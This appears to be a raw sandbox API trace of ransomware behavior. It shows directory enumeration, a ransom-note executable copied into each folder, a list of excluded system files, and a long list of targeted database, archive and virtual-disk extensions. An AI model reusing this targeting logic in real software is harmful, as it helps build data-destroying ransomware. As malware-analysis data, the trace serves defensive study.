	[0039.457] lstrlenW (lpString="vis") returned 3
	[0039.457] lstrcmpiW (lpString1="dat", lpString2="vis") returned -1
	[0039.457] lstrlenW (lpString="vpd") returned 3
	[0039.457] lstrcmpiW (lpString1="dat", lpString2="vpd") returned -1
	[0039.457] lstrlenW (lpString="vvv") returned 3
	[0039.457] lstrcmpiW (lpString1="dat", lpString2="vvv") returned -1
	[0039.457] lstrlenW (lpString="wdb") returned 3
	[0039.457] lstrcmpiW (lpString1="dat", lpString2="wdb") returned -1
	[0039.457] lstrlenW (lpString="wmdb") returned 4
	[0039.458] lstrcmpiW (lpString1=".dat", lpString2="wmdb") returned -1
	[0039.458] lstrlenW (lpString="wrk") returned 3
	[0039.458] lstrcmpiW (lpString1="dat", lpString2="wrk") returned -1
	[0039.458] lstrlenW (lpString="xdb") returned 3
	[0039.458] lstrcmpiW (lpString1="dat", lpString2="xdb") returned -1
	[0039.458] lstrlenW (lpString="xld") returned 3
	[0039.458] lstrcmpiW (lpString1="dat", lpString2="xld") returned -1
	[0039.458] lstrlenW (lpString="xmlff") returned 5
	[0039.458] lstrcmpiW (lpString1="s.dat", lpString2="xmlff") returned -1
	[0039.458] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8c015050, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfa44d4a0, ftLastAccessTime.dwHighDateTime=0x1d305fd, ftLastWriteTime.dwLowDateTime=0x63c5e40, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x469bd5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tokens.dat", cAlternateFileName="")) returned 0
	[0039.458] FindClose (in: hFindFile=0x5ca190 | out: hFindFile=0x5ca190) returned 1
	[0039.458] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fcb0
	[0039.458] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache") returned="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache"
	[0039.458] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9168 | out: hHeap=0x580000) returned 1
	[0039.458] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fca8 | out: hHeap=0x580000) returned 1
	[0039.458] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache") returned 67
	[0039.458] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache") returned="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache"
	[0039.458] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.458] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\officesoftwareprotectionplatform\\cache\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.463] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.463] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8ab1ae70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2fa16ed0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fa16ed0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.463] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.463] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.463] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0039.463] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8ab1ae70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2fa16ed0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fa16ed0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0039.463] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.463] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0039.463] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0039.463] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0039.463] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9de525d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9de525d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2caa5f40, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x40270, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cache.dat", cAlternateFileName="")) returned 1
	[0039.463] lstrcmpiW (lpString1="cache.dat", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.463] lstrcmpiW (lpString1="cache.dat", lpString2="Apollon865.txt.exe") returned 1
	[0039.463] lstrcmpiW (lpString1="cache.dat", lpString2=".") returned 1
	[0039.463] lstrcmpiW (lpString1="cache.dat", lpString2="..") returned 1
	[0039.463] lstrcmpiW (lpString1="cache.dat", lpString2="windows") returned -1
	[0039.464] lstrcmpiW (lpString1="cache.dat", lpString2="bootmgr") returned 1
	[0039.464] lstrcmpiW (lpString1="cache.dat", lpString2="temp") returned -1
	[0039.464] lstrcmpiW (lpString1="cache.dat", lpString2="pagefile.sys") returned -1
	[0039.464] lstrcmpiW (lpString1="cache.dat", lpString2="boot") returned 1
	[0039.464] lstrcmpiW (lpString1="cache.dat", lpString2="ids.txt") returned -1
	[0039.464] lstrcmpiW (lpString1="cache.dat", lpString2="ntuser.dat") returned -1
	[0039.464] lstrcmpiW (lpString1="cache.dat", lpString2="perflogs") returned -1
	[0039.464] lstrcmpiW (lpString1="cache.dat", lpString2="MSBuild") returned -1
	[0039.464] lstrlenW (lpString="cache.dat") returned 9
	[0039.464] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\*") returned 69
	[0039.464] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="cache.dat" | out: lpString1="cache.dat") returned="cache.dat"
	[0039.464] lstrlenW (lpString="cache.dat") returned 9
	[0039.464] lstrlenW (lpString="Apollon865") returned 10
	[0039.464] lstrlenW (lpString=".dll") returned 4
	[0039.464] lstrcmpiW (lpString1="cache.dat", lpString2=".dll") returned 1
	[0039.464] lstrlenW (lpString=".lnk") returned 4
	[0039.464] lstrcmpiW (lpString1="cache.dat", lpString2=".lnk") returned 1
	[0039.464] lstrlenW (lpString=".ini") returned 4
	[0039.464] lstrcmpiW (lpString1="cache.dat", lpString2=".ini") returned 1
	[0039.464] lstrlenW (lpString=".sys") returned 4
	[0039.464] lstrcmpiW (lpString1="cache.dat", lpString2=".sys") returned 1
	[0039.464] lstrlenW (lpString="cache.dat") returned 9
	[0039.464] lstrlenW (lpString="bak") returned 3
	[0039.464] lstrcmpiW (lpString1="dat", lpString2="bak") returned 1
	[0039.464] lstrlenW (lpString="ba_") returned 3
	[0039.464] lstrcmpiW (lpString1="dat", lpString2="ba_") returned 1
	[0039.464] lstrlenW (lpString="dbb") returned 3
	[0039.464] lstrcmpiW (lpString1="dat", lpString2="dbb") returned -1
	[0039.464] lstrlenW (lpString="vmdk") returned 4
	[0039.464] lstrcmpiW (lpString1=".dat", lpString2="vmdk") returned -1
	[0039.464] lstrlenW (lpString="rar") returned 3
	[0039.464] lstrcmpiW (lpString1="dat", lpString2="rar") returned -1
	[0039.464] lstrlenW (lpString="zip") returned 3
	[0039.464] lstrcmpiW (lpString1="dat", lpString2="zip") returned -1
	[0039.464] lstrlenW (lpString="tgz") returned 3
	[0039.464] lstrcmpiW (lpString1="dat", lpString2="tgz") returned -1
	[0039.464] lstrlenW (lpString="vbox") returned 4
	[0039.465] lstrcmpiW (lpString1=".dat", lpString2="vbox") returned -1
	[0039.465] lstrlenW (lpString="vdi") returned 3
	[0039.465] lstrcmpiW (lpString1="dat", lpString2="vdi") returned -1
	[0039.465] lstrlenW (lpString="vhd") returned 3
	[0039.465] lstrcmpiW (lpString1="dat", lpString2="vhd") returned -1
	[0039.465] lstrlenW (lpString="vhdx") returned 4
	[0039.465] lstrcmpiW (lpString1=".dat", lpString2="vhdx") returned -1
	[0039.465] lstrlenW (lpString="avhd") returned 4
	[0039.465] lstrcmpiW (lpString1=".dat", lpString2="avhd") returned -1
	[0039.465] lstrlenW (lpString="db") returned 2
	[0039.465] lstrcmpiW (lpString1="at", lpString2="db") returned -1
	[0039.465] lstrlenW (lpString="db2") returned 3
	[0039.465] lstrcmpiW (lpString1="dat", lpString2="db2") returned -1
	[0039.465] lstrlenW (lpString="db3") returned 3
	[0039.465] lstrcmpiW (lpString1="dat", lpString2="db3") returned -1
	[0039.465] lstrlenW (lpString="dbf") returned 3
	[0039.465] lstrcmpiW (lpString1="dat", lpString2="dbf") returned -1
	[0039.465] lstrlenW (lpString="mdf") returned 3
	[0039.465] lstrcmpiW (lpString1="dat", lpString2="mdf") returned -1
	[0039.465] lstrlenW (lpString="mdb") returned 3
	[0039.465] lstrcmpiW (lpString1="dat", lpString2="mdb") returned -1
	[0039.465] lstrlenW (lpString="sql") returned 3
	[0039.465] lstrcmpiW (lpString1="dat", lpString2="sql") returned -1
	[0039.465] lstrlenW (lpString="sqlite") returned 6
	[0039.465] lstrcmpiW (lpString1="he.dat", lpString2="sqlite") returned -1
	[0039.465] lstrlenW (lpString="sqlite3") returned 7
	[0039.465] lstrcmpiW (lpString1="che.dat", lpString2="sqlite3") returned -1
	[0039.465] lstrlenW (lpString="sqlitedb") returned 8
	[0039.465] lstrcmpiW (lpString1="ache.dat", lpString2="sqlitedb") returned -1
	[0039.465] lstrlenW (lpString="xml") returned 3
	[0039.465] lstrcmpiW (lpString1="dat", lpString2="xml") returned -1
	[0039.465] lstrlenW (lpString="$er") returned 3
	[0039.465] lstrcmpiW (lpString1="dat", lpString2="$er") returned 1
	[0039.465] lstrlenW (lpString="4dd") returned 3
	[0039.465] lstrcmpiW (lpString1="dat", lpString2="4dd") returned 1
	[0039.465] lstrlenW (lpString="4dl") returned 3
	[0039.466] lstrcmpiW (lpString1="dat", lpString2="4dl") returned 1
	[0039.466] lstrlenW (lpString="^^^") returned 3
	[0039.466] lstrcmpiW (lpString1="dat", lpString2="^^^") returned 1
	[0039.466] lstrlenW (lpString="abs") returned 3
	[0039.466] lstrcmpiW (lpString1="dat", lpString2="abs") returned 1
	[0039.466] lstrlenW (lpString="abx") returned 3
	[0039.466] lstrcmpiW (lpString1="dat", lpString2="abx") returned 1
	[0039.466] lstrlenW (lpString="accdb") returned 5
	[0039.466] lstrcmpiW (lpString1="e.dat", lpString2="accdb") returned 1
	[0039.466] lstrlenW (lpString="accdc") returned 5
	[0039.466] lstrcmpiW (lpString1="e.dat", lpString2="accdc") returned 1
	[0039.466] lstrlenW (lpString="accde") returned 5
	[0039.466] lstrcmpiW (lpString1="e.dat", lpString2="accde") returned 1
	[0039.466] lstrlenW (lpString="accdr") returned 5
	[0039.466] lstrcmpiW (lpString1="e.dat", lpString2="accdr") returned 1
	[0039.466] lstrlenW (lpString="accdt") returned 5
	[0039.466] lstrcmpiW (lpString1="e.dat", lpString2="accdt") returned 1
	[0039.466] lstrlenW (lpString="accdw") returned 5
	[0039.466] lstrcmpiW (lpString1="e.dat", lpString2="accdw") returned 1
	[0039.466] lstrlenW (lpString="accft") returned 5
	[0039.466] lstrcmpiW (lpString1="e.dat", lpString2="accft") returned 1
	[0039.466] lstrlenW (lpString="adb") returned 3
	[0039.466] lstrcmpiW (lpString1="dat", lpString2="adb") returned 1
	[0039.466] lstrlenW (lpString="adb") returned 3
	[0039.466] lstrcmpiW (lpString1="dat", lpString2="adb") returned 1
	[0039.466] lstrlenW (lpString="ade") returned 3
	[0039.466] lstrcmpiW (lpString1="dat", lpString2="ade") returned 1
	[0039.466] lstrlenW (lpString="adf") returned 3
	[0039.466] lstrcmpiW (lpString1="dat", lpString2="adf") returned 1
	[0039.466] lstrlenW (lpString="adn") returned 3
	[0039.466] lstrcmpiW (lpString1="dat", lpString2="adn") returned 1
	[0039.466] lstrlenW (lpString="adp") returned 3
	[0039.466] lstrcmpiW (lpString1="dat", lpString2="adp") returned 1
	[0039.466] lstrlenW (lpString="alf") returned 3
	[0039.466] lstrcmpiW (lpString1="dat", lpString2="alf") returned 1
	[0039.466] lstrlenW (lpString="ask") returned 3
	[0039.466] lstrcmpiW (lpString1="dat", lpString2="ask") returned 1
	[0039.467] lstrlenW (lpString="btr") returned 3
	[0039.467] lstrcmpiW (lpString1="dat", lpString2="btr") returned 1
	[0039.467] lstrlenW (lpString="cat") returned 3
	[0039.467] lstrcmpiW (lpString1="dat", lpString2="cat") returned 1
	[0039.467] lstrlenW (lpString="cdb") returned 3
	[0039.467] lstrcmpiW (lpString1="dat", lpString2="cdb") returned 1
	[0039.467] lstrlenW (lpString="ckp") returned 3
	[0039.467] lstrcmpiW (lpString1="dat", lpString2="ckp") returned 1
	[0039.467] lstrlenW (lpString="cma") returned 3
	[0039.467] lstrcmpiW (lpString1="dat", lpString2="cma") returned 1
	[0039.467] lstrlenW (lpString="cpd") returned 3
	[0039.467] lstrcmpiW (lpString1="dat", lpString2="cpd") returned 1
	[0039.467] lstrlenW (lpString="dacpac") returned 6
	[0039.467] lstrcmpiW (lpString1="he.dat", lpString2="dacpac") returned 1
	[0039.467] lstrlenW (lpString="dad") returned 3
	[0039.467] lstrcmpiW (lpString1="dat", lpString2="dad") returned 1
	[0039.467] lstrlenW (lpString="dadiagrams") returned 10
	[0039.467] lstrlenW (lpString="daschema") returned 8
	[0039.467] lstrcmpiW (lpString1="ache.dat", lpString2="daschema") returned -1
	[0039.467] lstrlenW (lpString="db-journal") returned 10
	[0039.467] lstrlenW (lpString="db-shm") returned 6
	[0039.467] lstrcmpiW (lpString1="he.dat", lpString2="db-shm") returned 1
	[0039.467] lstrlenW (lpString="db-wal") returned 6
	[0039.467] lstrcmpiW (lpString1="he.dat", lpString2="db-wal") returned 1
	[0039.467] lstrlenW (lpString="dbc") returned 3
	[0039.467] lstrcmpiW (lpString1="dat", lpString2="dbc") returned -1
	[0039.467] lstrlenW (lpString="dbs") returned 3
	[0039.467] lstrcmpiW (lpString1="dat", lpString2="dbs") returned -1
	[0039.467] lstrlenW (lpString="dbt") returned 3
	[0039.467] lstrcmpiW (lpString1="dat", lpString2="dbt") returned -1
	[0039.467] lstrlenW (lpString="dbv") returned 3
	[0039.467] lstrcmpiW (lpString1="dat", lpString2="dbv") returned -1
	[0039.467] lstrlenW (lpString="dbx") returned 3
	[0039.467] lstrcmpiW (lpString1="dat", lpString2="dbx") returned -1
	[0039.467] lstrlenW (lpString="dcb") returned 3
	[0039.467] lstrcmpiW (lpString1="dat", lpString2="dcb") returned -1
	[0039.468] lstrcmpiW (lpString1="dat", lpString2="dct") returned -1
	[0039.468] lstrcmpiW (lpString1="dat", lpString2="dcx") returned -1
	[0039.468] lstrcmpiW (lpString1="dat", lpString2="ddl") returned -1
	[0039.468] lstrcmpiW (lpString1=".dat", lpString2="dlis") returned -1
	[0039.468] lstrcmpiW (lpString1="dat", lpString2="dp1") returned -1
	[0039.468] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE") returned="C:\\Users\\All Users\\Microsoft\\OFFICE"
	[0039.468] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bdfc8 | out: hHeap=0x580000) returned 1
	[0039.468] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc88 | out: hHeap=0x580000) returned 1
	[0039.468] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE") returned 35
	[0039.468] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE") returned="C:\\Users\\All Users\\Microsoft\\OFFICE"
	[0039.468] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.468] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\office\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.578] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.578] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2fb21870, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fb21870, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.578] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.578] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.578] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0039.578] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2fb21870, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fb21870, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0039.578] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.578] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0039.578] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0039.578] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0039.578] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5011dd00, ftCreationTime.dwHighDateTime=0x1ca04ff, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5011dd00, ftLastWriteTime.dwHighDateTime=0x1ca04ff, nFileSizeHigh=0x0, nFileSizeLow=0x1536, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AssetLibrary.ico", cAlternateFileName="ASSETL~1.ICO")) returned 1
	[0039.578] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.578] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2="Apollon865.txt.exe") returned 1
	[0039.578] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2=".") returned 1
	[0039.578] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2="..") returned 1
	[0039.578] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2="windows") returned -1
	[0039.578] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2="bootmgr") returned -1
	[0039.578] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2="temp") returned -1
	[0039.578] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2="pagefile.sys") returned -1
	[0039.578] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2="boot") returned -1
	[0039.578] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2="ids.txt") returned -1
	[0039.579] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2="ntuser.dat") returned -1
	[0039.579] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2="perflogs") returned -1
	[0039.579] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2="MSBuild") returned -1
	[0039.579] lstrlenW (lpString="AssetLibrary.ico") returned 16
	[0039.579] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\*") returned 37
	[0039.579] lstrcpyW (in: lpString1=0x2d3e598, lpString2="AssetLibrary.ico" | out: lpString1="AssetLibrary.ico") returned="AssetLibrary.ico"
	[0039.579] lstrlenW (lpString="AssetLibrary.ico") returned 16
	[0039.579] lstrlenW (lpString="Apollon865") returned 10
	[0039.579] lstrcmpiW (lpString1="ibrary.ico", lpString2="Apollon865") returned 1
	[0039.579] lstrlenW (lpString=".dll") returned 4
	[0039.579] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2=".dll") returned 1
	[0039.579] lstrlenW (lpString=".lnk") returned 4
	[0039.579] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2=".lnk") returned 1
	[0039.579] lstrlenW (lpString=".ini") returned 4
	[0039.579] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2=".ini") returned 1
	[0039.579] lstrlenW (lpString=".sys") returned 4
	[0039.579] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2=".sys") returned 1
	[0039.579] lstrlenW (lpString="AssetLibrary.ico") returned 16
	[0039.579] lstrcpyW (in: lpString1=0x2d3e598, lpString2="DocumentRepository.ico" | out: lpString1="DocumentRepository.ico") returned="DocumentRepository.ico"
	[0039.579] lstrlenW (lpString="DocumentRepository.ico") returned 22
	[0039.579] lstrlenW (lpString="Apollon865") returned 10
	[0039.579] lstrcmpiW (lpString1="sitory.ico", lpString2="Apollon865") returned 1
	[0039.579] lstrlenW (lpString=".dll") returned 4
	[0039.579] lstrcmpiW (lpString1="DocumentRepository.ico", lpString2=".dll") returned 1
	[0039.579] lstrlenW (lpString=".lnk") returned 4
	[0039.579] lstrcmpiW (lpString1="DocumentRepository.ico", lpString2=".lnk") returned 1
	[0039.579] lstrlenW (lpString=".ini") returned 4
	[0039.579] lstrcmpiW (lpString1="DocumentRepository.ico", lpString2=".ini") returned 1
	[0039.579] lstrlenW (lpString=".sys") returned 4
	[0039.579] lstrcmpiW (lpString1="DocumentRepository.ico", lpString2=".sys") returned 1
	[0039.579] lstrlenW (lpString="DocumentRepository.ico") returned 22
	[0039.579] lstrcpyW (in: lpString1=0x2d3e598, lpString2="MySharePoints.ico" | out: lpString1="MySharePoints.ico") returned="MySharePoints.ico"
	[0039.579] lstrlenW (lpString="MySharePoints.ico") returned 17
	[0039.580] lstrlenW (lpString="Apollon865") returned 10
	[0039.580] lstrcmpiW (lpString1="Points.ico", lpString2="Apollon865") returned 1
	[0039.580] lstrlenW (lpString=".dll") returned 4
	[0039.580] lstrcmpiW (lpString1="MySharePoints.ico", lpString2=".dll") returned 1
	[0039.580] lstrlenW (lpString=".lnk") returned 4
	[0039.580] lstrcmpiW (lpString1="MySharePoints.ico", lpString2=".lnk") returned 1
	[0039.580] lstrlenW (lpString=".ini") returned 4
	[0039.580] lstrcmpiW (lpString1="MySharePoints.ico", lpString2=".ini") returned 1
	[0039.580] lstrlenW (lpString=".sys") returned 4
	[0039.580] lstrcmpiW (lpString1="MySharePoints.ico", lpString2=".sys") returned 1
	[0039.580] lstrlenW (lpString="MySharePoints.ico") returned 17
	[0039.580] lstrcpyW (in: lpString1=0x2d3e598, lpString2="MySite.ico" | out: lpString1="MySite.ico") returned="MySite.ico"
	[0039.580] lstrlenW (lpString="MySite.ico") returned 10
	[0039.580] lstrlenW (lpString="Apollon865") returned 10
	[0039.580] lstrlenW (lpString=".dll") returned 4
	[0039.580] lstrcmpiW (lpString1="MySite.ico", lpString2=".dll") returned 1
	[0039.580] lstrlenW (lpString=".lnk") returned 4
	[0039.580] lstrcmpiW (lpString1="MySite.ico", lpString2=".lnk") returned 1
	[0039.580] lstrlenW (lpString=".ini") returned 4
	[0039.580] lstrcmpiW (lpString1="MySite.ico", lpString2=".ini") returned 1
	[0039.580] lstrlenW (lpString=".sys") returned 4
	[0039.580] lstrcmpiW (lpString1="MySite.ico", lpString2=".sys") returned 1
	[0039.580] lstrlenW (lpString="MySite.ico") returned 10
	[0039.580] lstrcpyW (in: lpString1=0x2d3e598, lpString2="SharePointPortalSite.ico" | out: lpString1="SharePointPortalSite.ico") returned="SharePointPortalSite.ico"
	[0039.580] lstrlenW (lpString="SharePointPortalSite.ico") returned 24
	[0039.580] lstrlenW (lpString="Apollon865") returned 10
	[0039.580] lstrcmpiW (lpString1="alSite.ico", lpString2="Apollon865") returned -1
	[0039.580] lstrlenW (lpString=".dll") returned 4
	[0039.580] lstrcmpiW (lpString1="SharePointPortalSite.ico", lpString2=".dll") returned 1
	[0039.580] lstrlenW (lpString=".lnk") returned 4
	[0039.580] lstrcmpiW (lpString1="SharePointPortalSite.ico", lpString2=".lnk") returned 1
	[0039.580] lstrlenW (lpString=".ini") returned 4
	[0039.580] lstrcmpiW (lpString1="SharePointPortalSite.ico", lpString2=".ini") returned 1
	[0039.580] lstrlenW (lpString=".sys") returned 4
	[0039.580] lstrcmpiW (lpString1="SharePointPortalSite.ico", lpString2=".sys") returned 1
	[0039.580] lstrlenW (lpString="SharePointPortalSite.ico") returned 24
	[0039.581] lstrcpyW (in: lpString1=0x2d3e598, lpString2="SharePointTeamSite.ico" | out: lpString1="SharePointTeamSite.ico") returned="SharePointTeamSite.ico"
	[0039.581] lstrlenW (lpString="SharePointTeamSite.ico") returned 22
	[0039.581] lstrlenW (lpString="Apollon865") returned 10
	[0039.581] lstrcmpiW (lpString1="amSite.ico", lpString2="Apollon865") returned -1
	[0039.581] lstrlenW (lpString=".dll") returned 4
	[0039.581] lstrcmpiW (lpString1="SharePointTeamSite.ico", lpString2=".dll") returned 1
	[0039.581] lstrlenW (lpString=".lnk") returned 4
	[0039.581] lstrcmpiW (lpString1="SharePointTeamSite.ico", lpString2=".lnk") returned 1
	[0039.581] lstrlenW (lpString=".ini") returned 4
	[0039.581] lstrcmpiW (lpString1="SharePointTeamSite.ico", lpString2=".ini") returned 1
	[0039.581] lstrlenW (lpString=".sys") returned 4
	[0039.581] lstrcmpiW (lpString1="SharePointTeamSite.ico", lpString2=".sys") returned 1
	[0039.581] lstrlenW (lpString="SharePointTeamSite.ico") returned 22
	[0039.581] lstrcpyW (in: lpString1=0x2d3e598, lpString2="UICaptions" | out: lpString1="UICaptions") returned="UICaptions"
	[0039.581] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc88
	[0039.581] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x5e) returned 0x5c5458
	[0039.581] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc90 | out: ListHead=0x5b76b0, ListEntry=0x59fc90) returned 0x59fc70
	[0039.581] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UICaptions", cAlternateFileName="UICAPT~1")) returned 0
	[0039.581] FindClose (in: hFindFile=0x5ca190 | out: hFindFile=0x5ca190) returned 1
